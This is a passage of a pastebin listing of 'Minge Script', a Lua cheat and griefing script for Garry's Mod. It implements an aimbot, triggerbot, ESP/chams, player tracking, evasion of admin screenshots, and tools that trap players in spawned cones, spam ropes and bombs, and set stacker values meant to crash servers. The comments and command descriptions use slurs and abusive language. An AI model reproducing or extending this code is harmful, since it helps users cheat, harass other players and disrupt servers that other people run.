  2962. MS.PrevAng = LocalPlayer():EyeAngles()
  2963. MS.RopeSpamming = true;
  2964. end )
  2965. CCA( "-ms_ropenado", function()
  2966. MS.RopeSpamming = false;
  2967. LocalPlayer():SetEyeAngles( MS.PrevAng )
  2968. end )
  2969.  
  2970. //promode/tardmode
  2971. local function Promode()
  2972. MS.NewProColour = math.random( 1, #MS.ProColours )
  2973. while MS.NewProColour == MS.LastProColour do
  2974. MS.NewProColour = math.random( 1, #MS.ProColours )
  2975. end
  2976.  
  2977. if( DarkRP ) then
  2978. if( LocalPlayer():Health() >0 ) then
  2979. RCC( "darkrp", "sleep" ); RCC( "cl_weaponcolor", MS.ProColours[ MS.NewProColour ] ); RCC( "physgun_wheelspeed", "75" )
  2980. timer.Simple( 7, function() if LocalPlayer().Sleeping then RCC( "darkrp", "sleep" ); RCC( "play", "bot/come_to_papa.wav" ) end end )
  2981. else
  2982. RCC( "cl_weaponcolor", MS.ProColours[ MS.NewProColour ] ); RCC( "physgun_wheelspeed", "75" ); RCC( "play", "bot/come_to_papa.wav" )
  2983. end
  2984. else
  2985. RCC( "cl_weaponcolor", MS.ProColours[ MS.NewProColour ] ); RCC( "physgun_wheelspeed", "75" ); RCC( "kill" );
  2986. end
  2987. MS.LastProColour = MS.NewProColour
  2988. end
  2989. CCA( "promode", Promode )
  2990.  
  2991. local function Tardmode()
  2992. MS.NewTardColour = math.random( 1, #MS.TardColours )
  2993. while MS.NewTardColour == MS.LastTardColour do
  2994. MS.NewTardColour = math.random( 1, #MS.TardColours )
  2995. end
  2996.  
  2997. if( DarkRP ) then
  2998. if( LocalPlayer():Health() >0 ) then
  2999. RCC( "darkrp", "sleep" ); RCC( "cl_weaponcolor", MS.TardColours[ MS.NewTardColour ] ); RCC( "physgun_wheelspeed", "7" ); RCC( "play", "bot/nothing_happening_over_here.wav" )
  3000. timer.Simple( 7, function() if LocalPlayer().Sleeping then RCC( "darkrp", "sleep" ) end end )
  3001. else
  3002. RCC( "cl_weaponcolor", MS.TardColours[ MS.NewTardColour ] ); RCC( "physgun_wheelspeed", "7" ); RCC( "play", "bot/nothing_happening_over_here.wav" )
  3003. end
  3004. else
  3005. RCC( "cl_weaponcolor", MS.TardColours[ MS.NewTardColour ] ); RCC( "physgun_wheelspeed", "7" ); RCC( "kill" ); RCC( "play", "bot/nothing_happening_over_here.wav" )
  3006. end
  3007. MS.LastTardColour = MS.NewTardColour
  3008. end
  3009. CCA( "tardmode", Tardmode )
  3010.  
  3011. //cam.End3D crash immunity
  3012. function cam.End3D()
  3013. if( debug.getinfo( 2 ).short_src == "LuaCmd" ) then
  3014. return
  3015. else
  3016. return CamEnd3DShit()
  3017. end
  3018. end
  3019.  
  3020. //less disgusting rotate scripts than falco's
  3021. local function Rotate180()
  3022. LocalPlayer():SetEyeAngles( Angle( LocalPlayer():EyeAngles().p, LocalPlayer():EyeAngles().y - 180, LocalPlayer():EyeAngles().r ) )
  3023. end
  3024. CCA( "ms_rotate", Rotate180 )
  3025. local function Rotate180Up()
  3026. LocalPlayer():SetEyeAngles( Angle( -LocalPlayer():EyeAngles().p, LocalPlayer():EyeAngles().y - 180, LocalPlayer():EyeAngles().r ) )
  3027. RCC( "+jump" )
  3028. timer.Simple( 0.1, function() RCC( "-jump" ) end )
  3029. end
  3030. CCA( "ms_rotate2", Rotate180Up )
  3031.  
  3032. //ms_help
  3033. local function MsInsertHelp( name, description )
  3034. table.insert( MS.MsHelpCommandTable, { name, description } )
  3035. end
  3036. MsInsertHelp( "+ms_aim", "aimbot" )
  3037. MsInsertHelp( "+ms_bhop", "bunny hop" )
  3038. MsInsertHelp( "+ms_menu", "menu, double tap to stay open" )
  3039. MsInsertHelp( "+ms_ropenado", "rope spammer, hold right mouse button for ropes" )
  3040. MsInsertHelp( "+ms_torchspam", "torch spammer" )
  3041. MsInsertHelp( "+ms_triggerbot", "triggerbot" )
  3042. MsInsertHelp( "ms_autostrafe", "automatically does A/D for you when you're bhopping/surfing" )
  3043. MsInsertHelp( "ms_bjorn", 'pretends to be a retarded foreigner, for when you get told "GET RP NAME OR BAN"' )
  3044. MsInsertHelp( "ms_conefuck", "traps the nearest player to your crosshair inside a cone" )
  3045. MsInsertHelp( "ms_debug 1/0", "receive debug messages" )
  3046. MsInsertHelp( "ms_deaglelogs", "opens deagle logs" )
  3047. MsInsertHelp( "ms_forceulxsuper", "forces ulx to give you superadmin" )
  3048. MsInsertHelp( "ms_friendadd", "( partial nick, * ) add to friends list" )
  3049. MsInsertHelp( "ms_friendremove", "( partial nick, * ) remove from friends list" )
  3050. MsInsertHelp( "ms_gag", "( partial nick, * ) voice mutes players" )
  3051. MsInsertHelp( "ms_glow", "big ass dynamic light" )
  3052. MsInsertHelp( "ms_innocentroleplayer", "identity changer, hold both mouse buttons to skip job change" )
  3053. MsInsertHelp( "ms_isolate", "( partial nick, admins, friends, * to disable ), isolates a player's visuals" )
  3054. MsInsertHelp( "ms_jobinfo", "print current server's darkrp job table" )
  3055. MsInsertHelp( "ms_losetrack", "( partial nick, admins, friends, * ) stops tracking player" )
  3056. MsInsertHelp( "ms_missilelauncher", "toggles auto spawning/throwing bombs with physgun" )
  3057. MsInsertHelp( "ms_mute", "( partial nick, * ) stops anything from muted players showing in chat" )
  3058. MsInsertHelp( "ms_noobler", "describes and links the noobler script" )
  3059. MsInsertHelp( "ms_nopriority", "( partial nick, * ) removes ms_track priority" )
  3060. MsInsertHelp( "ms_overridephysgun", "overrides clientside physgun colour" )
  3061. MsInsertHelp( "ms_playerchams", "toggle player chams" )
  3062. MsInsertHelp( "ms_priority", "( partial nick ) makes a player's ms_track beam stand out" )
  3063. MsInsertHelp( "ms_propchams", "toggle prop chams" )
  3064. MsInsertHelp( "ms_rotate", "180 rotate" )
  3065. MsInsertHelp( "ms_rotate2", "boost rotate" )
  3066. MsInsertHelp( "ms_stackah", "sets stacker and old precision tool to crash settings" )
  3067. MsInsertHelp( "ms_track", "( partial nick, admins, friends, * ) draws a line to tracked players" )
  3068. MsInsertHelp( "ms_unmute", "( partial nick, * ) removes ms_mute from players" )
  3069. MsInsertHelp( "ms_vomitcash", "spits $5 notes onto the ground every two seconds" )
  3070. MsInsertHelp( "ms_wepcolours", "prints everyone's physgun colour" )
  3071. MsInsertHelp( "ms_who", "prints everyone's name, rank and steamid" )
  3072. MsInsertHelp( "buttonglass( 1-5 )", "stealthy button killing models" )
  3073. MsInsertHelp( "buttonlag", "laggy as fuck button model" )
  3074. MsInsertHelp( "buttonstove", "stove button model" )
  3075. MsInsertHelp( "getinfo", "get aimentity model/class" )
  3076. MsInsertHelp( "promode", "gives you a no beam/glow physgun colour, sets wheelspeed to 75, sleeps in darkrp to change colour without respawning" )
  3077. MsInsertHelp( "tardmode", "gives you an inconspicuous physgun, sets wheelspeed to 7, sleeps in darkrp to change colour without respawning" )
  3078. MsInsertHelp( "wepclass", "get active weapon class" )
  3079.  
  3080. local function MsHelp()
  3081. for k,v in pairs( MS.MsHelpCommandTable ) do
  3082. if( string.len( v[ 1 ] ) >MS.BiggestString ) then
  3083. MS.BiggestString = string.len( v[ 1 ] )
  3084. end
  3085. end
  3086. MS.BiggestString = MS.BiggestString + 6
  3087. MSMsg( string.rep( " ", MS.BiggestString -11 ) .. "-MS HELP-" )
  3088. MSMsg( "-CONSOLE COMMAND-" .. string.rep( " ", MS.BiggestString -17 ) .. "-SCRIPT-\n" )
  3089. for k,v in pairs( MS.MsHelpCommandTable ) do
  3090. MSMsg( v[ 1 ] .. string.rep( " ", MS.BiggestString - string.len( v[ 1 ] ) ) .. v[ 2 ] )
  3091. end
  3092. end
  3093. CCA( "ms_help", MsHelp )
  3094.  
  3095. //glow
  3096. local function MSGlow()
  3097. if( MS.ScreenGrab ) then return end
  3098. light = DynamicLight( LocalPlayer():EntIndex() )
  3099. light.Pos = LocalPlayer():GetShootPos()
  3100. light.r = 5
  3101. light.g = 5
  3102. light.b = 5
  3103. light.Brightness = 7
  3104. light.Size = 50000
  3105. light.Decay = 0
  3106. light.DieTime = CurTime() + 0.1
  3107. end
  3108. local function ToggleGlow()
  3109. MS.Glowing = !MS.Glowing
  3110.  
  3111. if MS.Glowing then
  3112. HKA( "Think", "MSGlow", MSGlow )
  3113. RCC( "play", "buttons/combine_button7.wav" )
  3114. else
  3115. HKR( "Think", "MSGlow" )
  3116. RCC( "play", "buttons/combine_button1.wav" )
  3117. end
  3118. end
  3119. CCA( "ms_glow", ToggleGlow )
  3120.  
  3121. //zooom
  3122. local function BetterZoom( ply, pos, angles, fov )
  3123. if( MS.ScreenGrab ) then return end
  3124. MS.ZoomActive = true
  3125.  
  3126. if( input.IsKeyDown( KEY_LSHIFT ) ) then
  3127. MS.Zoom = MS.Zoom + 35
  3128. elseif( input.IsKeyDown( KEY_LCONTROL ) ) then
  3129. MS.Zoom = MS.Zoom - 35
  3130. end
  3131. MS.ZoomView.origin = pos + ( angles:Forward() *MS.Zoom )
  3132. MS.ZoomView.angles = angles
  3133. MS.ZoomView.fov = fov
  3134. return MS.ZoomView
  3135. end
  3136.  
  3137. local function zooom()
  3138. if( MS.ScreenGrab ) then return end
  3139. if( !MS.ZoomActive and !MS.ZoomEnable ) then
  3140. HKA( "CalcView", "Zoom", BetterZoom )
  3141. RCC( "play", "buttons/button18.wav" )
  3142. MS.ZoomEnable = true
  3143. elseif( MS.ZoomActive and MS.ZoomEnable ) then
  3144. MS.Zoom = 0
  3145. MS.ZoomEnable = false
  3146. MS.ZoomActive = false
  3147. RCC( "play", "buttons/button19.wav" )
  3148. HKR( "CalcView", "Zoom" )
  3149. end
  3150. end
  3151. CCA( "ms_zooom", zooom )
  3152.  
  3153. //vomitcash
  3154. local function VomitCash()
  3155. if( !DarkRP ) then MSError( "THIS FEATURE REQUIRES DARKRP YOU FUCKING DICK HEAD." ) return end
  3156. MS.Vomiting = !MS.Vomiting
  3157. if( MS.Vomiting ) then
  3158. timer.Create( "VomitCash", 2, 0, function() RCC( "darkrp", "dropmoney", "5" ) end )
  3159. else
  3160. timer.Destroy( "VomitCash" )
  3161. end
  3162. end
  3163. CCA( "ms_VomitCash", VomitCash )
  3164.  
  3165. //SIQQEST KICKFLIPS
  3166. local function TonyHawk()
  3167. MS.KickFlipping = !MS.KickFlipping
  3168. EnabledDisabled( "TONY HAWK MODE", MS.KickFlipping )
  3169. if( MS.KickFlipping ) then
  3170. RCC( "gm_snapangles", 180 )
  3171. RCC( "physgun_rotation_sensitivity", 2 )
  3172. return
  3173. end
  3174. RCC( "gm_snapangles", 45 )
  3175. RCC( "physgun_rotation_sensitivity", 0.05 )
  3176. end
  3177. CCA( "ms_tonyhawk", TonyHawk )
  3178.  
  3179. //stackah
  3180. local function Stackah()
  3181. RCC( "precision_offset", "999999999999999999999999999999" );
  3182. RCC( "stacker_count", "5" );
  3183. RCC( "stacker_offsetx", "999999999999999999999999999999" );
  3184. RCC( "stacker_offsety", "999999999999999999999999999999" );
  3185. RCC( "stacker_offsetz", "999999999999999999999999999999" );
  3186. RCC( "stacker_rotp", "999999999999999999999999999999" );
  3187. RCC( "stacker_roty", "999999999999999999999999999999" );
  3188. RCC( "stacker_rotr", "999999999999999999999999999999" )
  3189. end
  3190. CCA( "ms_stackah", Stackah )
  3191.  
  3192. //[LAZINESS INTENSIFIES]
  3193. local function Noobler()
  3194. RCC( "say", "you show promise couch thrower" )
  3195. timer.Simple( 2.5, function() RCC( "say", "http://pastebin.com/zUbG27Ps" ) end )
  3196. timer.Simple( 5, function() RCC( "say", "well made propkill script, it's got wallhack, esp and rotate scripts for surfing" ) end )
  3197. timer.Simple( 7.5, function() RCC( "say", "there are instructions on how to get it working inside" ) end )
  3198. end
  3199. CCA( "ms_noobler", Noobler )
  3200.  
  3201. //BJORN 2 BOOGALOO - 50% SUCCESS RATE EDITION
  3202. local function ToggleBjornKeyboard()
  3203. if( !DarkRP ) then return end
  3204. net.Start( "DarkRP_ToggleChat" )
  3205. net.SendToServer()
  3206. end
  3207. local function BjornTyperIndicatorIsReal()
  3208. for k,v in pairs( ents.FindByClass( "chatindicator" ) ) do
  3209. if( v:GetPos():Distance( LocalPlayer():GetPos() + Vector( 0, 0, 85 ) ) < 40 ) then
  3210. return true
  3211. end
  3212. end
  3213. return false
  3214. end
  3215. local function EnsureBjornTyperMode()
  3216. if( MS.IsBjorn and BjornTyperIndicatorIsReal() != MS.IsBjornTyping and MS.NextBjornType < CurTime() ) then
  3217. ToggleBjornKeyboard()
  3218. MS.NextBjornType = CurTime() + 2
  3219. elseif( !MS.IsBjorn and BjornTyperIndicatorIsReal() and !MS.IsBjornTyping ) then
  3220. ToggleBjornKeyboard()
  3221. end
  3222. end
  3223. local function BecomeTheBjorn()
  3224. MS.IsBjorn = !MS.IsBjorn
  3225. if( MS.IsBjorn ) then
  3226. MSMsg( "UNLEASHING THE BJORN - RUN AGAIN TO CANCEL" )
  3227. timer.Create( "Swift Exit", 300.2, 1, function() RCC( "kill" ); RCC( "ms_innocentroleplayer" ) end )
  3228. HKA( "Think", "BjornTyperModeMustBeStrictLikeBjorn", EnsureBjornTyperMode )
  3229. for k,v in pairs( MS.BjornTalks ) do
  3230. timer.Create( "bjorn_typer" .. tostring( k ), v[ 1 ] - math.random( 5, 20 ), 1, function() MS.IsBjornTyping = true end )
  3231. timer.Create( "bjorn" .. tostring( k ), v[ 1 ], 1, function()
  3232. RCC( "say", v[ 2 ] )
  3233. MS.IsBjornTyping = false
  3234. end )
  3235. end
  3236. else
  3237. for i = 1, #MS.BjornTalks do
  3238. timer.Destroy( "bjorn" .. tostring( i ) )
  3239. timer.Destroy( "bjorn_typer" .. tostring( i ) )
  3240. end
  3241. timer.Destroy( "Swift Exit" )
  3242. HKR( "Think", "BjornTyperModeMustBeStrictLikeBjorn" )
  3243. MS.IsBjornTyping = false
  3244. EnsureBjornTyperMode()
  3245. end
  3246. end
  3247. CCA( "ms_bjorn", BecomeTheBjorn )
  3248.  
  3249. //AWESOME MISSILE LAUNCHER
  3250. local function AutoPropScroll( LickMyRim )
  3251. if LocalPlayer():KeyDown( IN_ATTACK ) and IsValid( LocalPlayer():GetActiveWeapon() ) and LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" then
  3252. LickMyRim:SetMouseWheel( 100 )
  3253. if( MS.NextSpawn < CurTime() ) then
  3254. RCC( "gm_spawn", "models/props_phx/mk-82.mdl" )
  3255. MS.NextSpawn = CurTime() + 0.1
  3256. end
  3257.  
  3258. if( MS.NextSpawn < CurTime() + 0.02 and MS.NextSpawn > CurTime() ) then
  3259. LickMyRim:RemoveKey( IN_ATTACK )
  3260. end
  3261. end
  3262. end
  3263.  
  3264. local function MISSILELAUNCHER()
  3265. MS.Cannoning = !MS.Cannoning
  3266. EnabledDisabled( "MISSILE LAUNCHER", MS.Cannoning )
  3267. if( MS.Cannoning ) then
  3268. HKA( "CreateMove", "AutoPropScroll", AutoPropScroll )
  3269. return
  3270. end
  3271. HKR( "CreateMove", "AutoPropScroll" )
  3272. end
  3273. CCA( "ms_missilelauncher", MISSILELAUNCHER )
  3274.  
  3275. //conefuck
  3276. local function GetConeTarget()
  3277. local ply
  3278. MS.ConeTargetTable = player.GetAll()
  3279. MS.MaxFOV = 180
  3280.  
  3281. table.sort( MS.ConeTargetTable, function( a, b ) local aX, aY = GetFOV( a ) local bX, bY = GetFOV( b ) return aX + aY < bX + bY end )
  3282.  
  3283. for k,v in pairs( MS.ConeTargetTable ) do
  3284. if( !IsValid( v ) or v == LocalPlayer() or !IsVisible( v ) or v:Health() <=0 or v:InVehicle() or v:GetObserverTarget() or v:GetShootPos():Distance( LocalPlayer():GetShootPos() ) >2000 ) then continue end
  3285. local XFov, YFov = GetFOV( v )
  3286. if( ( YFov + XFov ) /2 < MS.MaxFOV ) then
  3287. MS.MaxFOV, _ = GetFOV( v )
  3288. ply = v
  3289. end
  3290. end
  3291. return ply
  3292. end
  3293. local function EndConeFucking()
  3294. MS.ConeTarget = nil
  3295. MS.FuckingPlayer = false
  3296. MS.ConeSpawned = false
  3297. end
  3298. local function FuckPlayerWithCone( cmd )
  3299. if( !MS.FuckingPlayer ) then return end
  3300. if( IsValid( MS.ConeTarget ) and MS.ConeTarget:Health() >0 and IsVisible( MS.ConeTarget ) ) then
  3301. cmd:SetViewAngles( ( ( MS.ConeTarget:GetPos() -Vector( 0, 0, 1 ) ) -LocalPlayer():GetShootPos() ):Angle() )
  3302. if( MS.ConeSpawned ) then
  3303. timer.Simple( 0.02, function() RCC( "+attack" ) end )
  3304. timer.Simple( 0.1, function() RCC( "+attack2" ) end )
  3305. timer.Simple( 0.2, function() RCC( "-attack" ); RCC( "-attack2" ) end )
  3306. EndConeFucking()
  3307. else
  3308. timer.Simple( 0.01, function() RCC( "gm_spawn", "models/hunter/misc/cone2x2.mdl" ) end )
  3309. MS.ConeSpawned = true
  3310. end
  3311. else
  3312. EndConeFucking()
  3313. end
  3314. end
  3315. HKA( "CreateMove", "FuckConeTargets", FuckPlayerWithCone )
  3316. local function StartConeFucking()
  3317. MS.FuckingPlayer = true
  3318. MS.ConeTarget = GetConeTarget()
  3319. MS.ConeSpawned = false
  3320. end
  3321. CCA( "ms_conefuck", StartConeFucking )
  3322.  
  3323. //thirdperson
  3324. local function ThirdPerson( ply, pos, angles, fov )
  3325. if( MS.ScreenGrab or !MS.Settings.Visuals.thirdperson or GetViewEntity() != LocalPlayer() or LocalPlayer():InVehicle() )then return end
  3326. MS.ThirdPersonView = {}
  3327. CozIBackTracedIt = util.TraceLine( { start = pos - ply:GetForward()*2, endpos = pos - angles:Forward() *MS.Settings.Visuals.ThirdPersonDist, filter = player.GetAll(), mask = MASK_SHOT } )
  3328. MS.ThirdPersonView.origin = CozIBackTracedIt.HitPos + ply:GetForward()*20
  3329. MS.ThirdPersonView.angles = angles
  3330. MS.ThirdPersonView.fov = fov
  3331. return MS.ThirdPersonView
  3332. end
  3333. HKA( "CalcView", "ASSCHEEKS", ThirdPerson )
  3334. local function ThisIsSoYouArentInvisible( ply )
  3335. if( MS.Settings.Visuals.thirdperson or ( MS.ZoomActive and MS.ZoomEnable ) ) then
  3336. return true
  3337. end
  3338. return false
  3339. end
  3340. HKA( "ShouldDrawLocalPlayer", "thisissoyouarentinvisible", ThisIsSoYouArentInvisible )
  3341.  
  3342. //EXTREME SUPERADMIN MEGA HACK
  3343. local function lmfao()
  3344. if( ulx ) then
  3345. MSMsg( "...ATTEMPTING TO BRUTEFORCE ULX" ) timer.Simple( 2, function() MSMsg( "...CALCULATING BRUTEFORCE ALGORITHM" ) end ) timer.Simple( 4, function() MSMsg( "...BYPASSING SECURITY PROTOCOLS" ) end ) timer.Simple( 6, function() MSMsg( "...HACKING INTO THE MAINFRAME" ) end ) timer.Simple( 8, function() MSMsg( "...SUCCESS!" ) end ) timer.Simple( 8.5, function() chat.AddText( Color( 0, 0, 0, 255 ), "( Console ) ", Color( 160, 200, 200, 255 ), "added ", Color( 80, 0, 120, 255 ), "You ", Color( 160, 200, 200, 255 ), "to group ", Color( 0, 255, 0, 255 ), "superadmin" ) end )
  3346. else
  3347. MSMsg( "SERVER DOESN'T HAVE ULX INSTALLED DICK HEAD" )
  3348. end
  3349. end
  3350. CCA( "ms_forceulxsuper", lmfao )
  3351.  
  3352. //autostrafe
  3353. local function AutoStrafe()
  3354. MS.Settings.AutoStrafe = !MS.Settings.AutoStrafe
  3355. EnabledDisabled( "AUTOSTRAFE", MS.Settings.AutoStrafe )
  3356. end
  3357. CCA( "ms_autostrafe", AutoStrafe )
  3358.  
  3359. local function OverridePhysgun()
  3360. MS.Settings.Visuals.overridephysgun = !MS.Settings.Visuals.overridephysgun
  3361. EnabledDisabled( "PHYSGUN OVERRIDE", MS.Settings.Visuals.overridephysgun )
  3362. end
  3363. CCA( "ms_overridephysgun", OverridePhysgun )
  3364.  
  3365. MSMsg( "MINGE SCRIPT LOADED - TYPE MS_HELP" )
Add Comment
Please, Sign In to add comment